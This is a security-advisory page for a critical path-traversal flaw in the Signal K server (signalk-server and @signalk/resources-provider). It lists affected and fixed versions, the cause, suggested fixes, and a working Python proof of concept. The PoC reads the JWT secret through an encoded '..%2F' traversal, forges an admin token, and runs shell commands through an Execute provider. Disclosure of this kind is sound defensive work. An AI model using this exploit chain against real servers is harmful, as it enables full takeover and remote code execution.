GHSA-4xm8-rg9h-jhq2
Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution
- Risk score
- 74/100
- CVSS
- 9.8 v3.1
- Published
- 30 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- A path traversal vulnerability in Signal K's resources and applicationData APIs allows an unauthenticated or low-privileged user to read, write and delete files outside the storage root, potentially disclosing the JWT signing secret and enabling admin token forgery and remote code execution.
- Affected
- {'products': ['Signal K'], 'packages': [{'ecosystem': 'npm', 'name': 'signalk-server', 'vulnerable': '>= 2.0.0, < 2.34.0'}, {'ecosystem': 'npm', 'name': '@signalk/resources-provider', 'vulnerable': '>= 1.0.0, < 1.5.3'}]}
- Fix
- Upgrade to version 2.34.0 of signalk-server and version 1.5.3 of @signalk/resources-provider
- Exploitation
- Public proof of concept
Why it is Amber
- CVSS 9.8 critical
- Public exploit or proof of concept referenced
- Remotely exploitable without logging in
- On your watchlist: npm
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| signalk-server | npm | >= 2.0.0, < 2.34.0 | 2.34.0 |
| @signalk/resources-provider | npm | >= 1.0.0, < 1.5.3 | 1.5.3 |
References
- https://github.com/advisories/GHSA-4xm8-rg9h-jhq2
- https://github.com/SignalK/signalk-server/security/advisories/GHSA-4xm8-rg9h-jhq2
- https://github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1
- https://github.com/SignalK/signalk-server/releases/tag/v2.34.0
- https://github.com/advisories/GHSA-4xm8-rg9h-jhq2
Original description
### Summary Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading <config>/security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution. ### Details ## Description The v2 REST resources API `GET /signalk/v2/api/resources/:resourceType/:resourceId` passes `resourceId` to `FileStore.getResource()` without validation. `getResource()` builds the file path with `path.join(this.resources[type].path, itemUuid)` followed by `readFile` + `JSON.parse`, so a `%2F`-encoded multi-level traversal (`..%2F..%2F..%2F..%2F`) escapes the resource storage directory and returns any JSON file on the server (source: `src/api/resources/index.ts:559-600`, `packages/resources-provider-plugin/src/filestorage.ts:115-125`). Because the JWT signing secret is stored in plaintext in `<config>/security.json` (generated at `src/tokensecurity.ts:271`, persisted via `saveSecurityConfig` at `src/security.ts:377`), an unauthenticated attacker on deployments with `allow_readonly=true` (a supported, UI-toggleable configuration granting anonymous read access) can: 1. **Read `<config>/security.json`** — disclosing the JWT signing secret (512-hex) and user password hashes. 2. **Forge an admin JWT** — HS256-sign `{"id":"admin"}` with the disclosed secret; accepted by `/skServer/loginStatus` (`userLevel: "admin"`) and all admin-protected endpoints (`adminAuthenticationMiddleware`, `src/tokensecurity.ts:593`, applied at `src/tokensecurity.ts:953`). 3. **Gain remote code execution** — `POST /skServer/providers` (admin) accepts a provider of type `Execute`; `packages/streams/src/execute.ts:93` executes it via `spawn('sh', ['-c', command])` at creation time. The provider persists to `settings.json` and survives restarts. On default deployments (`allow_readonly=false`), step 1 returns 401 to anonymous users but succeeds with any readonly user token. ## Suggested fixes 1. Validate `resourceId` against a strict whitelist (for example, UUID format) in `src/api/resources/index.ts` before any storage call, including PUT/DELETE. 2. In `FileStore.getResource/setResource/deleteResource`, canonicalise with `path.resolve()` and reject results outside `this.resources[type].path`. 3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600. 4. Consider gating provider types that execute commands (`Execute`) behind an explicit opt-in. ### Proof of concept Fully local testbed. Start the server, enable `allow_readonly=true`, then run: ```python #!/usr/bin/env python3 import base64, hashlib, hmac, json, time, urllib.request BASE = "http://127.0.0.1:3000" CMD = "id > /tmp/sk-pwned" # 1) unauthenticated traversal read of security.json p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json" sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"] # 2) forge admin JWT b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode() h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode()) c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode()) tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest()) req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok}) assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin" # 3) add an Execute provider -> spawn('sh','-c',CMD) prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute", "options":{"type":"ws","dataType":"SignalK","command":CMD}} req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(), headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST") print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists ``` Reproduction verified independently on master `340d5bb6` (Node 22 / macOS), including restart persistence. PoC artifacts are available on request. ### Impact Unauthenticated access (with `allow_readonly=true`) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix
Last activity 30 Oct 2026. Patch Forecast updates every hour.